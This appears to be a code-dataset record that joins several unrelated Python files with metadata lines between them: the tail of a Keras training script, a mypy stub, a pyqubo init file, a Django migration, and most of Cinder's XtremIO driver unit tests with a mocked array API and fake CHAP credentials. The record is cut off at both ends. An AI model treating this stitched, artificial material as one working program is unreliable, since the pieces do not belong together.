'mse'], optimizer='adam') model.save('a.h5') exit() test_num = int(game_num * test_ratio) train_num = game_num - test_num print('loading data from files') range_lst = list(range(max_learn_data)) shuffle(range_lst) records = range_lst[:game_num] for i in trange(game_strt, game_strt + train_num): try: collect_data(records[i], use_ratio) except: continue reshape_data_train() all_data = [] for i in trange(game_strt + train_num, game_strt + game_num): try: collect_data(records[i], use_ratio) except: continue reshape_data_test() #my_evaluate.kill() model.compile(loss=['categorical_crossentropy', 'mse'], optimizer='adam') early_stop = EarlyStopping(monitor='val_loss', patience=10) history = model.fit(train_board, [train_policies, train_value], epochs=n_epochs, validation_data=(test_board, [test_policies, test_value]), callbacks=[early_stop]) model.save('param/model.h5') for key in ['policy_loss', 'val_policy_loss']: plt.plot(history.history[key], label=key) plt.xlabel('epoch') plt.ylabel('policy loss') plt.legend(loc='best') plt.savefig('graph/policy_loss.png') plt.clf() for key in ['value_loss', 'val_value_loss']: plt.plot(history.history[key], label=key) plt.xlabel('epoch') plt.ylabel('value loss') plt.legend(loc='best') plt.savefig('graph/value_loss.png') plt.clf()
33.275542
163
0.616208
803f9e3f10d501911693c45631e2bdf7b5aa8df2
75
py
Python
stubs/3.2/docutils/parsers/rst/states.py
zyga/mypy
5b7e222568cd20c31cde4e02adc9fd77d949197a
[ "PSF-2.0" ]
1
2019-06-16T07:05:32.000Z
2019-06-16T07:05:32.000Z
stubs/3.2/docutils/parsers/rst/states.py
zyga/mypy
5b7e222568cd20c31cde4e02adc9fd77d949197a
[ "PSF-2.0" ]
null
null
null
stubs/3.2/docutils/parsers/rst/states.py
zyga/mypy
5b7e222568cd20c31cde4e02adc9fd77d949197a
[ "PSF-2.0" ]
null
null
null
import typing class Inliner: def __init__(self) -> None: pass
12.5
31
0.626667
d8c9f4be74baeeccd4f4cece950aab0dabc75ec7
666
py
Python
pyqubo/utils/__init__.py
OpenJij/pyqubo
47190d3391c83c1c84636ab8f8bff67c8f935dc0
[ "Apache-2.0" ]
1
2019-03-17T11:26:36.000Z
2019-03-17T11:26:36.000Z
pyqubo/utils/__init__.py
OpenJij/pyqubo
47190d3391c83c1c84636ab8f8bff67c8f935dc0
[ "Apache-2.0" ]
null
null
null
pyqubo/utils/__init__.py
OpenJij/pyqubo
47190d3391c83c1c84636ab8f8bff67c8f935dc0
[ "Apache-2.0" ]
null
null
null
# Copyright 2018 Recruit Communications Co., Ltd. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. from pyqubo.utils.solver import * from pyqubo.utils.asserts import *
39.176471
74
0.765766
7ce111c4d336088ee4f892ab35bc06d16d99a309
1,526
py
Python
client/migrations/0001_initial.py
My-Garage/resourceideaapi
b872a6f15277989870572ba6e523c9dc378b7a24
[ "MIT" ]
1
2021-01-20T14:40:06.000Z
2021-01-20T14:40:06.000Z
client/migrations/0001_initial.py
My-Garage/resourceideaapi
b872a6f15277989870572ba6e523c9dc378b7a24
[ "MIT" ]
null
null
null
client/migrations/0001_initial.py
My-Garage/resourceideaapi
b872a6f15277989870572ba6e523c9dc378b7a24
[ "MIT" ]
null
null
null
# Generated by Django 2.2.13 on 2020-07-17 22:42 from django.db import migrations, models import django.db.models.deletion import uuid class Migration(migrations.Migration): initial = True dependencies = [ ('client_industry', '__first__'), ('organization', '__first__'), ] operations = [ migrations.CreateModel( name='Client', fields=[ ('id', models.UUIDField(default=uuid.uuid4, editable=False, primary_key=True, serialize=False, unique=True)), ('created_at', models.DateTimeField(auto_now_add=True)), ('updated_at', models.DateTimeField(auto_now=True)), ('is_deleted', models.BooleanField(default=False)), ('deleted_at', models.DateTimeField(blank=True, null=True)), ('name', models.CharField(max_length=256)), ('name_slug', models.CharField(editable=False, max_length=256, unique=True)), ('address', models.CharField(max_length=256)), ('src_client_id', models.CharField(blank=True, max_length=40, null=True)), ('client_industry', models.ForeignKey(null=True, on_delete=django.db.models.deletion.SET_NULL, to='client_industry.ClientIndustry')), ('organization', models.ForeignKey(null=True, on_delete=django.db.models.deletion.SET_NULL, to='organization.Organization')), ], options={ 'db_table': 'client', }, ), ]
40.157895
149
0.607471
bf698c1f8d3313f54f4608c07e3a403b891ab56b
66,217
py
Python
cinder/tests/unit/volume/drivers/dell_emc/test_xtremio.py
alexisries/openstack-cinder
7cc6e45c5ddb8bf771bdb01b867628e41761ae11
[ "Apache-2.0" ]
2
2019-05-24T14:13:50.000Z
2019-05-24T14:21:13.000Z
cinder/tests/unit/volume/drivers/dell_emc/test_xtremio.py
vexata/cinder
7b84c0842b685de7ee012acec40fb4064edde5e9
[ "Apache-2.0" ]
5
2019-08-14T06:46:03.000Z
2021-12-13T20:01:25.000Z
cinder/tests/unit/volume/drivers/dell_emc/test_xtremio.py
vexata/cinder
7b84c0842b685de7ee012acec40fb4064edde5e9
[ "Apache-2.0" ]
2
2020-03-15T01:24:15.000Z
2020-07-22T20:34:26.000Z
# Copyright (c) 2018 Dell Inc. or its subsidiaries. # All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. import copy import re import time import mock import six from cinder import context from cinder import exception from cinder.objects import volume_attachment from cinder import test from cinder.tests.unit.consistencygroup import fake_consistencygroup as fake_cg from cinder.tests.unit import fake_constants as fake from cinder.tests.unit import fake_snapshot from cinder.tests.unit.fake_volume import fake_volume_obj from cinder.tests.unit.fake_volume import fake_volume_type_obj from cinder.volume.drivers.dell_emc import xtremio typ2id = {'volumes': 'vol-id', 'snapshots': 'vol-id', 'initiators': 'initiator-id', 'initiator-groups': 'ig-id', 'lun-maps': 'mapping-id', 'consistency-groups': 'cg-id', 'consistency-group-volumes': 'cg-vol-id', } xms_init = {'xms': {1: {'version': '4.2.0', 'sw-version': '4.2.0-30'}}, 'clusters': {1: {'name': 'brick1', 'sys-sw-version': "4.2.0-devel_ba23ee5381eeab73", 'ud-ssd-space': '8146708710', 'ud-ssd-space-in-use': '708710', 'vol-size': '29884416', 'chap-authentication-mode': 'disabled', 'chap-discovery-mode': 'disabled', "index": 1, }, }, 'target-groups': {'Default': {"index": 1, "name": "Default"}, }, 'iscsi-portals': {'10.205.68.5/16': {"port-address": "iqn.2008-05.com.xtremio:001e67939c34", "ip-port": 3260, "ip-addr": "10.205.68.5/16", "name": "10.205.68.5/16", "index": 1, }, }, 'targets': {'X1-SC2-target1': {'index': 1, "name": "X1-SC2-fc1", "port-address": "21:00:00:24:ff:57:b2:36", 'port-type': 'fc', 'port-state': 'up', }, 'X1-SC2-target2': {'index': 2, "name": "X1-SC2-fc2", "port-address": "21:00:00:24:ff:57:b2:55", 'port-type': 'fc', 'port-state': 'up', } }, 'volumes': {}, 'initiator-groups': {}, 'initiators': {}, 'lun-maps': {}, 'consistency-groups': {}, 'consistency-group-volumes': {}, } xms_data = None xms_filters = { 'eq': lambda x, y: x == y, 'ne': lambda x, y: x != y, 'gt': lambda x, y: x > y, 'ge': lambda x, y: x >= y, 'lt': lambda x, y: x < y, 'le': lambda x, y: x <= y, } def get_xms_obj_by_name(typ, name): for item in xms_data[typ].values(): if 'name' in item and item['name'] == name: return item raise exception.NotFound() def clean_xms_data(): global xms_data xms_data = copy.deepcopy(xms_init) def fix_data(data, object_type): d = {} for key, value in data.items(): if 'name' in key: key = 'name' d[key] = value if object_type == 'lun-maps': d['lun'] = 1 vol_idx = get_xms_obj_by_name('volumes', data['vol-id'])['index'] ig_idx = get_xms_obj_by_name('initiator-groups', data['ig-id'])['index'] d['name'] = '_'.join([six.text_type(vol_idx), six.text_type(ig_idx), '1']) d[typ2id[object_type]] = ["a91e8c81c2d14ae4865187ce4f866f8a", d.get('name'), len(xms_data.get(object_type, [])) + 1] d['index'] = len(xms_data[object_type]) + 1 return d def get_xms_obj_key(data): for key in data.keys(): if 'name' in key: return key def get_obj(typ, name, idx): if name: return {"content": get_xms_obj_by_name(typ, name)} elif idx: if idx not in xms_data.get(typ, {}): raise exception.NotFound() return {"content": xms_data[typ][idx]} def xms_request(object_type='volumes', method='GET', data=None, name=None, idx=None, ver='v1'): if object_type == 'snapshots': object_type = 'volumes' try: res = xms_data[object_type] except KeyError: raise exception.VolumeDriverException if method == 'GET': if name or idx: return get_obj(object_type, name, idx) else: if data and data.get('full') == 1: filter_term = data.get('filter') if not filter_term: entities = list(res.values()) else: field, oper, value = filter_term.split(':', 2) comp = xms_filters[oper] entities = [o for o in res.values() if comp(o.get(field), value)] return {object_type: entities} else: return {object_type: [{"href": "/%s/%d" % (object_type, obj['index']), "name": obj.get('name')} for obj in res.values()]} elif method == 'POST': data = fix_data(data, object_type) name_key = get_xms_obj_key(data) try: if name_key and get_xms_obj_by_name(object_type, data[name_key]): raise (exception .VolumeBackendAPIException ('Volume by this name already exists')) except exception.NotFound: pass data['index'] = len(xms_data[object_type]) + 1 xms_data[object_type][data['index']] = data # find the name key if name_key: data['name'] = data[name_key] if object_type == 'lun-maps': data['ig-name'] = data['ig-id'] return {"links": [{"href": "/%s/%d" % (object_type, data[typ2id[object_type]][2])}]} elif method == 'DELETE': if object_type == 'consistency-group-volumes': data = [cgv for cgv in xms_data['consistency-group-volumes'].values() if cgv['vol-id'] == data['vol-id'] and cgv['cg-id'] == data['cg-id']][0] else: data = get_obj(object_type, name, idx)['content'] if data: del xms_data[object_type][data['index']] else: raise exception.NotFound() elif method == 'PUT': obj = get_obj(object_type, name, idx)['content'] data = fix_data(data, object_type) del data['index'] obj.update(data) def xms_bad_request(object_type='volumes', method='GET', data=None, name=None, idx=None, ver='v1'): if method == 'GET': raise exception.NotFound() elif method == 'POST': raise exception.VolumeBackendAPIException('Failed to create ig') def xms_failed_rename_snapshot_request(object_type='volumes', method='GET', data=None, name=None, idx=None, ver='v1'): if method == 'POST': xms_data['volumes'][27] = {} return { "links": [ { "href": "https://host/api/json/v2/types/snapshots/27", "rel": "self"}]} elif method == 'PUT': raise exception.VolumeBackendAPIException(data='Failed to delete') elif method == 'DELETE': del xms_data['volumes'][27] class D(dict): def update(self, *args, **kwargs): self.__dict__.update(*args, **kwargs) return dict.update(self, *args, **kwargs) class CommonData(object): context = context.RequestContext('admin', 'fake', True) connector = {'ip': '10.0.0.2', 'initiator': 'iqn.1993-08.org.debian:01:222', 'wwpns': ["123456789012345", "123456789054321"], 'wwnns': ["223456789012345", "223456789054321"], 'host': 'fakehost', } test_volume_type = fake_volume_type_obj( context=context ) test_volume = fake_volume_obj(context, volume_type = test_volume_type, name='vol1', volume_name='vol1', display_name='vol1', display_description='test volume', size=1, id='192eb39b-6c2f-420c-bae3-3cfd117f0001', provider_auth=None, project_id='project', volume_type_id=None, consistencygroup_id= '192eb39b-6c2f-420c-bae3-3cfd117f0345', ) test_snapshot = D() test_snapshot.update({'name': 'snapshot1', 'size': 1, 'volume_size': 1, 'id': '192eb39b-6c2f-420c-bae3-3cfd117f0002', 'volume_name': 'vol-vol1', 'volume_id': '192eb39b-6c2f-420c-bae3-3cfd117f0001', 'project_id': 'project', 'consistencygroup_id': '192eb39b-6c2f-420c-bae3-3cfd117f0345', }) test_snapshot.__dict__.update(test_snapshot) test_volume2 = {'name': 'vol2', 'size': 1, 'volume_name': 'vol2', 'id': '192eb39b-6c2f-420c-bae3-3cfd117f0004', 'provider_auth': None, 'project_id': 'project', 'display_name': 'vol2', 'display_description': 'test volume 2', 'volume_type_id': None, 'consistencygroup_id': '192eb39b-6c2f-420c-bae3-3cfd117f0345', } test_clone = {'name': 'clone1', 'size': 1, 'volume_name': 'vol3', 'id': '192eb39b-6c2f-420c-bae3-3cfd117f0003', 'provider_auth': None, 'project_id': 'project', 'display_name': 'clone1', 'display_description': 'volume created from snapshot', 'volume_type_id': None, 'consistencygroup_id': '192eb39b-6c2f-420c-bae3-3cfd117f0345', } unmanaged1 = {'id': 'unmanaged1', 'name': 'unmanaged1', 'size': 3, } group = {'id': '192eb39b-6c2f-420c-bae3-3cfd117f0345', 'name': 'cg1', 'status': 'OK', } cgsnapshot = { 'id': '192eb39b-6c2f-420c-bae3-3cfd117f9876', 'consistencygroup_id': group['id'], 'group_id': None, } cgsnapshot_as_group_id = { 'id': '192eb39b-6c2f-420c-bae3-3cfd117f9876', 'consistencygroup_id': None, 'group_id': group['id'], } test_volume_attachment = volume_attachment.VolumeAttachment( id='2b06255d-f5f0-4520-a953-b029196add6b', volume_id=test_volume.id, connector=connector) class BaseXtremIODriverTestCase(test.TestCase): def __init__(self, *args, **kwargs): super(BaseXtremIODriverTestCase, self).__init__(*args, **kwargs) self.config = mock.Mock(san_login='', san_password='', san_ip='', xtremio_cluster_name='brick1', xtremio_provisioning_factor=20.0, max_over_subscription_ratio=20.0, xtremio_volumes_per_glance_cache=100, driver_ssl_cert_verify=True, driver_ssl_cert_path='/test/path/root_ca.crt', xtremio_array_busy_retry_count=5, xtremio_array_busy_retry_interval=5, xtremio_clean_unused_ig=False) def safe_get(key): return getattr(self.config, key) self.config.safe_get = safe_get def setUp(self): super(BaseXtremIODriverTestCase, self).setUp() clean_xms_data() self.driver = xtremio.XtremIOISCSIDriver(configuration=self.config) self.driver.client = xtremio.XtremIOClient42(self.config, self.config .xtremio_cluster_name) self.data = CommonData() @mock.patch('cinder.volume.drivers.dell_emc.xtremio.XtremIOClient.req') class XtremIODriverISCSITestCase(BaseXtremIODriverTestCase): # ##### SetUp Check ##### def test_check_for_setup_error(self, req): req.side_effect = xms_request self.driver.check_for_setup_error() self.assertEqual(self.driver.client.__class__.__name__, 'XtremIOClient42') def test_fail_check_for_setup_error(self, req): req.side_effect = xms_request clusters = xms_data.pop('clusters') self.assertRaises(exception.VolumeDriverException, self.driver.check_for_setup_error) xms_data['clusters'] = clusters def test_check_for_setup_error_ver4(self, req): req.side_effect = xms_request xms_data['xms'][1]['sw-version'] = '4.0.10-34.hotfix1' self.driver.check_for_setup_error() self.assertEqual(self.driver.client.__class__.__name__, 'XtremIOClient4') def test_fail_check_for_array_version(self, req): req.side_effect = xms_request cluster = xms_data['clusters'][1] ver = cluster['sys-sw-version'] cluster['sys-sw-version'] = '2.0.0-test' self.assertRaises(exception.VolumeBackendAPIException, self.driver.check_for_setup_error) cluster['sys-sw-version'] = ver def test_client4_uses_v2(self, req): def base_req(*args, **kwargs): self.assertIn('v2', args) req.side_effect = base_req self.driver.client.req('volumes') def test_get_stats(self, req): req.side_effect = xms_request stats = self.driver.get_volume_stats(True) self.assertEqual(self.driver.backend_name, stats['volume_backend_name']) # ##### Volumes ##### def test_create_volume_with_cg(self, req): req.side_effect = xms_request self.driver.create_volume(self.data.test_volume) def test_extend_volume(self, req): req.side_effect = xms_request self.driver.create_volume(self.data.test_volume) self.driver.extend_volume(self.data.test_volume, 5) def test_fail_extend_volume(self, req): req.side_effect = xms_request self.assertRaises(exception.VolumeDriverException, self.driver.extend_volume, self.data.test_volume, 5) def test_delete_volume(self, req): req.side_effect = xms_request self.driver.create_volume(self.data.test_volume) self.driver.delete_volume(self.data.test_volume) def test_duplicate_volume(self, req): req.side_effect = xms_request self.driver.create_volume(self.data.test_volume) self.assertRaises(exception.VolumeBackendAPIException, self.driver.create_volume, self.data.test_volume) # ##### Snapshots ##### def test_create_snapshot(self, req): req.side_effect = xms_request self.driver.create_volume(self.data.test_volume) self.driver.create_snapshot(self.data.test_snapshot) self.assertEqual(self.data.test_snapshot['id'], xms_data['volumes'][2]['name']) def test_create_delete_snapshot(self, req): req.side_effect = xms_request self.driver.create_volume(self.data.test_volume) self.driver.create_snapshot(self.data.test_snapshot) self.assertEqual(self.data.test_snapshot['id'], xms_data['volumes'][2]['name']) self.driver.delete_snapshot(self.data.test_snapshot) def test_failed_rename_snapshot(self, req): req.side_effect = xms_failed_rename_snapshot_request self.assertRaises(exception.VolumeBackendAPIException, self.driver.create_snapshot, self.data.test_snapshot) self.assertEqual(0, len(xms_data['volumes'])) def test_volume_from_snapshot(self, req): req.side_effect = xms_request xms_data['volumes'] = {} self.driver.create_volume(self.data.test_volume) self.driver.create_snapshot(self.data.test_snapshot) self.driver.create_volume_from_snapshot(self.data.test_volume2, self.data.test_snapshot) def test_volume_from_snapshot_and_resize(self, req): req.side_effect = xms_request xms_data['volumes'] = {} self.driver.create_volume(self.data.test_volume) clone_volume = self.data.test_clone.copy() clone_volume['size'] = 2 self.driver.create_snapshot(self.data.test_snapshot) with mock.patch.object(self.driver, 'extend_volume') as extend: self.driver.create_volume_from_snapshot(clone_volume, self.data.test_snapshot) extend.assert_called_once_with(clone_volume, clone_volume['size']) def test_volume_from_snapshot_and_resize_fail(self, req): req.side_effect = xms_request self.driver.create_volume(self.data.test_volume) vol = xms_data['volumes'][1] def failed_extend(obj_type='volumes', method='GET', data=None, *args, **kwargs): if method == 'GET': return {'content': vol} elif method == 'POST': return {'links': [{'href': 'volume/2'}]} elif method == 'PUT': if 'name' in data: return raise exception.VolumeBackendAPIException('Failed Clone') self.driver.create_snapshot(self.data.test_snapshot) req.side_effect = failed_extend self.driver.db = mock.Mock() (self.driver.db. image_volume_cache_get_by_volume_id.return_value) = mock.MagicMock() clone = self.data.test_clone.copy() clone['size'] = 2 with mock.patch.object(self.driver, 'delete_volume') as delete: self.assertRaises(exception.VolumeBackendAPIException, self.driver.create_volume_from_snapshot, clone, self.data.test_snapshot) self.assertTrue(delete.called) # ##### Clone Volume ##### def test_clone_volume(self, req): req.side_effect = xms_request self.driver.db = mock.Mock() (self.driver.db. image_volume_cache_get_by_volume_id.return_value) = mock.MagicMock() self.driver.create_volume(self.data.test_volume) xms_data['volumes'][1]['num-of-dest-snaps'] = 50 self.driver.create_cloned_volume(self.data.test_clone, self.data.test_volume) def test_clone_volume_exceed_conf_limit(self, req): req.side_effect = xms_request self.driver.db = mock.Mock() (self.driver.db. image_volume_cache_get_by_volume_id.return_value) = mock.MagicMock() self.driver.create_volume(self.data.test_volume) xms_data['volumes'][1]['num-of-dest-snaps'] = 200 self.assertRaises(exception.CinderException, self.driver.create_cloned_volume, self.data.test_clone, self.data.test_volume) @mock.patch.object(xtremio.XtremIOClient4, 'create_snapshot') def test_clone_volume_exceed_array_limit(self, create_snap, req): create_snap.side_effect = exception.XtremIOSnapshotsLimitExceeded() req.side_effect = xms_request self.driver.db = mock.Mock() (self.driver.db. image_volume_cache_get_by_volume_id.return_value) = mock.MagicMock() self.driver.create_volume(self.data.test_volume) xms_data['volumes'][1]['num-of-dest-snaps'] = 50 self.assertRaises(exception.CinderException, self.driver.create_cloned_volume, self.data.test_clone, self.data.test_volume) def test_clone_volume_too_many_snaps(self, req): req.side_effect = xms_request response = mock.MagicMock() response.status_code = 400 response.json.return_value = { "message": "too_many_snapshots_per_vol", "error_code": 400 } self.assertRaises(exception.XtremIOSnapshotsLimitExceeded, self.driver.client.handle_errors, response, '', '') def test_clone_volume_too_many_objs(self, req): req.side_effect = xms_request response = mock.MagicMock() response.status_code = 400 response.json.return_value = { "message": "too_many_objs", "error_code": 400 } self.assertRaises(exception.XtremIOSnapshotsLimitExceeded, self.driver.client.handle_errors, response, '', '') def test_update_migrated_volume(self, req): original = self.data.test_volume new = self.data.test_volume2 update = (self.driver. update_migrated_volume({}, original, new, 'available')) req.assert_called_once_with('volumes', 'PUT', {'name': original['id']}, new['id'], None, 'v2') self.assertEqual({'_name_id': None, 'provider_location': None}, update) def test_update_migrated_volume_failed_rename(self, req): req.side_effect = exception.VolumeBackendAPIException( data='failed rename') original = self.data.test_volume new = copy.deepcopy(self.data.test_volume2) fake_provider = '__provider' new['provider_location'] = fake_provider new['_name_id'] = None update = (self.driver. update_migrated_volume({}, original, new, 'available')) self.assertEqual({'_name_id': new['id'], 'provider_location': fake_provider}, update) def test_clone_volume_and_resize(self, req): req.side_effect = xms_request self.driver.db = mock.Mock() (self.driver.db. image_volume_cache_get_by_volume_id.return_value) = mock.MagicMock() self.driver.create_volume(self.data.test_volume) vol = xms_data['volumes'][1] vol['num-of-dest-snaps'] = 0 clone = self.data.test_clone.copy() clone['size'] = 2 with mock.patch.object(self.driver, 'extend_volume') as extend: self.driver.create_cloned_volume(clone, self.data.test_volume) extend.assert_called_once_with(clone, clone['size']) def test_clone_volume_and_resize_fail(self, req): req.side_effect = xms_request self.driver.create_volume(self.data.test_volume) vol = xms_data['volumes'][1] def failed_extend(obj_type='volumes', method='GET', data=None, *args, **kwargs): if method == 'GET': return {'content': vol} elif method == 'POST': return {'links': [{'href': 'volume/2'}]} elif method == 'PUT': if 'name' in data: return raise exception.VolumeBackendAPIException('Failed Clone') req.side_effect = failed_extend self.driver.db = mock.Mock() (self.driver.db. image_volume_cache_get_by_volume_id.return_value) = mock.MagicMock() vol['num-of-dest-snaps'] = 0 clone = self.data.test_clone.copy() clone['size'] = 2 with mock.patch.object(self.driver, 'delete_volume') as delete: self.assertRaises(exception.VolumeBackendAPIException, self.driver.create_cloned_volume, clone, self.data.test_volume) self.assertTrue(delete.called) # ##### Connection ##### def test_no_portals_configured(self, req): req.side_effect = xms_request portals = xms_data['iscsi-portals'].copy() xms_data['iscsi-portals'].clear() lunmap = {'lun': 4} self.assertRaises(exception.VolumeDriverException, self.driver._get_iscsi_properties, lunmap) xms_data['iscsi-portals'] = portals def test_initialize_connection(self, req): req.side_effect = xms_request self.driver.create_volume(self.data.test_volume) self.driver.create_volume(self.data.test_volume2) map_data = self.driver.initialize_connection(self.data.test_volume, self.data.connector) self.assertEqual(1, map_data['data']['target_lun']) def test_initialize_connection_existing_ig(self, req): req.side_effect = xms_request self.driver.create_volume(self.data.test_volume) self.driver.create_volume(self.data.test_volume2) self.driver.initialize_connection(self.data.test_volume, self.data.connector) i1 = xms_data['initiators'][1] i1['ig-id'] = ['', i1['ig-id'], 1] i1['chap-authentication-initiator-password'] = 'chap_password1' i1['chap-discovery-initiator-password'] = 'chap_password2' self.driver.initialize_connection(self.data.test_volume2, self.data.connector) def test_terminate_connection(self, req): req.side_effect = xms_request self.driver.create_volume(self.data.test_volume) self.driver.initialize_connection(self.data.test_volume, self.data.connector) i1 = xms_data['initiators'][1] i1['ig-id'] = ['', i1['ig-id'], 1] self.driver.terminate_connection(self.data.test_volume, self.data.connector) self.assertEqual(1, len(xms_data['initiator-groups'])) def test_terminate_connection_clean_ig(self, req): self.driver.clean_ig = True req.side_effect = xms_request self.driver.create_volume(self.data.test_volume) self.driver.initialize_connection(self.data.test_volume, self.data.connector) i1 = xms_data['initiators'][1] i1['ig-id'] = ['', i1['ig-id'], 1] xms_data['initiator-groups'][1]['num-of-vols'] = 0 # lun mapping list is a list of triplets (IG OID, TG OID, lun number) self.driver.terminate_connection(self.data.test_volume, self.data.connector) self.assertEqual(0, len(xms_data['initiator-groups'])) def test_terminate_connection_fail_on_bad_volume(self, req): req.side_effect = xms_request self.assertRaises(exception.NotFound, self.driver.terminate_connection, self.data.test_volume, self.data.connector) def test_get_ig_indexes_from_initiators_called_once(self, req): req.side_effect = xms_request volume1 = copy.deepcopy(self.data.test_volume) volume1.volume_attachment.objects = [self.data.test_volume_attachment] self.driver.create_volume(volume1) map_data = self.driver.initialize_connection(self.data.test_volume, self.data.connector) i1 = xms_data['initiators'][1] i1['ig-id'] = ['', i1['ig-id'], 1] self.assertEqual(1, map_data['data']['target_lun']) with mock.patch.object(self.driver, '_get_ig_indexes_from_initiators') as get_idx: get_idx.return_value = [1] self.driver.terminate_connection(self.data.test_volume, self.data.connector) get_idx.assert_called_once_with(self.data.connector) def test_initialize_connection_after_enabling_chap(self, req): req.side_effect = xms_request self.driver.create_volume(self.data.test_volume) self.driver.create_volume(self.data.test_volume2) map_data = self.driver.initialize_connection(self.data.test_volume, self.data.connector) self.assertIsNone(map_data['data'].get('access_mode')) c1 = xms_data['clusters'][1] c1['chap-authentication-mode'] = 'initiator' c1['chap-discovery-mode'] = 'initiator' i1 = xms_data['initiators'][1] i1['ig-id'] = ['', i1['ig-id'], 1] i1['chap-authentication-initiator-password'] = 'chap_password1' i1['chap-discovery-initiator-password'] = 'chap_password2' map_data = self.driver.initialize_connection(self.data.test_volume2, self.data.connector) self.assertEqual('chap_password1', map_data['data']['auth_password']) self.assertEqual('chap_password2', map_data['data']['discovery_auth_password']) def test_initialize_connection_after_disabling_chap(self, req): req.side_effect = xms_request self.driver.create_volume(self.data.test_volume) self.driver.create_volume(self.data.test_volume2) c1 = xms_data['clusters'][1] c1['chap-authentication-mode'] = 'initiator' c1['chap-discovery-mode'] = 'initiator' self.driver.initialize_connection(self.data.test_volume, self.data.connector) i1 = xms_data['initiators'][1] i1['ig-id'] = ['', i1['ig-id'], 1] i1['chap-authentication-initiator-password'] = 'chap_password1' i1['chap-discovery-initiator-password'] = 'chap_password2' i1['chap-authentication-initiator-password'] = None i1['chap-discovery-initiator-password'] = None self.driver.initialize_connection(self.data.test_volume2, self.data.connector) @mock.patch('oslo_utils.strutils.mask_dict_password') def test_initialize_connection_masks_password(self, mask_dict, req): req.side_effect = xms_request self.driver.create_volume(self.data.test_volume) self.driver.initialize_connection(self.data.test_volume, self.data.connector) self.assertTrue(mask_dict.called) def test_add_auth(self, req): req.side_effect = xms_request data = {} self.driver._add_auth(data, True, True) self.assertIn('initiator-discovery-user-name', data, 'Missing discovery user in data') self.assertIn('initiator-discovery-password', data, 'Missing discovery password in data') def test_initialize_connection_bad_ig(self, req): req.side_effect = xms_bad_request self.assertRaises(exception.VolumeBackendAPIException, self.driver.initialize_connection, self.data.test_volume, self.data.connector) self.driver.delete_volume(self.data.test_volume) # ##### Manage Volumes ##### def test_manage_volume(self, req): req.side_effect = xms_request xms_data['volumes'] = {1: {'name': 'unmanaged1', 'index': 1, 'vol-size': '3', }, } ref_vol = {"source-name": "unmanaged1"} self.driver.manage_existing(self.data.test_volume, ref_vol) def test_failed_manage_volume(self, req): req.side_effect = xms_request xms_data['volumes'] = {1: {'name': 'unmanaged1', 'index': 1, 'vol-size': '3', }, } invalid_ref = {"source-name": "invalid"} self.assertRaises(exception.ManageExistingInvalidReference, self.driver.manage_existing, self.data.test_volume, invalid_ref) def test_get_manage_volume_size(self, req): req.side_effect = xms_request xms_data['volumes'] = {1: {'name': 'unmanaged1', 'index': 1, 'vol-size': '1000000', }, } ref_vol = {"source-name": "unmanaged1"} size = self.driver.manage_existing_get_size(self.data.test_volume, ref_vol) self.assertEqual(1, size) def test_manage_volume_size_invalid_input(self, req): self.assertRaises(exception.ManageExistingInvalidReference, self.driver.manage_existing_get_size, self.data.test_volume, {}) def test_failed_manage_volume_size(self, req): req.side_effect = xms_request xms_data['volumes'] = {1: {'name': 'unmanaged1', 'index': 1, 'vol-size': '3', }, } invalid_ref = {"source-name": "invalid"} self.assertRaises(exception.ManageExistingInvalidReference, self.driver.manage_existing_get_size, self.data.test_volume, invalid_ref) def test_unmanage_volume(self, req): req.side_effect = xms_request self.driver.create_volume(self.data.test_volume) self.driver.unmanage(self.data.test_volume) def test_failed_unmanage_volume(self, req): req.side_effect = xms_request self.assertRaises(exception.VolumeNotFound, self.driver.unmanage, self.data.test_volume2) def test_manage_snapshot(self, req): req.side_effect = xms_request vol_uid = self.data.test_snapshot.volume_id xms_data['volumes'] = {1: {'name': vol_uid, 'index': 1, 'vol-size': '3', }, 2: {'name': 'unmanaged', 'index': 2, 'ancestor-vol-id': ['', vol_uid, 1], 'vol-size': '3'} } ref_vol = {"source-name": "unmanaged"} self.driver.manage_existing_snapshot(self.data.test_snapshot, ref_vol) def test_get_manage_snapshot_size(self, req): req.side_effect = xms_request vol_uid = self.data.test_snapshot.volume_id xms_data['volumes'] = {1: {'name': vol_uid, 'index': 1, 'vol-size': '3', }, 2: {'name': 'unmanaged', 'index': 2, 'ancestor-vol-id': ['', vol_uid, 1], 'vol-size': '3'} } ref_vol = {"source-name": "unmanaged"} self.driver.manage_existing_snapshot_get_size(self.data.test_snapshot, ref_vol) def test_manage_snapshot_invalid_snapshot(self, req): req.side_effect = xms_request xms_data['volumes'] = {1: {'name': 'unmanaged1', 'index': 1, 'vol-size': '3', 'ancestor-vol-id': []} } ref_vol = {"source-name": "unmanaged1"} self.assertRaises(exception.ManageExistingInvalidReference, self.driver.manage_existing_snapshot, self.data.test_snapshot, ref_vol) def test_unmanage_snapshot(self, req): req.side_effect = xms_request vol_uid = self.data.test_snapshot.volume_id xms_data['volumes'] = {1: {'name': vol_uid, 'index': 1, 'vol-size': '3', }, 2: {'name': 'unmanaged', 'index': 2, 'ancestor-vol-id': ['', vol_uid, 1], 'vol-size': '3'} } ref_vol = {"source-name": "unmanaged"} self.driver.manage_existing_snapshot(self.data.test_snapshot, ref_vol) self.driver.unmanage_snapshot(self.data.test_snapshot) # ##### Consistancy Groups ##### @mock.patch('cinder.objects.snapshot.SnapshotList.get_all_for_cgsnapshot') def test_cg_create(self, get_all_for_cgsnapshot, req): req.side_effect = xms_request d = self.data snapshot_obj = fake_snapshot.fake_snapshot_obj(d.context) snapshot_obj.consistencygroup_id = d.group['id'] get_all_for_cgsnapshot.return_value = [snapshot_obj] self.driver.create_consistencygroup(d.context, d.group) self.assertEqual(1, len(xms_data['consistency-groups'])) @mock.patch('cinder.objects.snapshot.SnapshotList.get_all_for_cgsnapshot') def test_cg_update(self, get_all_for_cgsnapshot, req): req.side_effect = xms_request d = self.data snapshot_obj = fake_snapshot.fake_snapshot_obj(d.context) 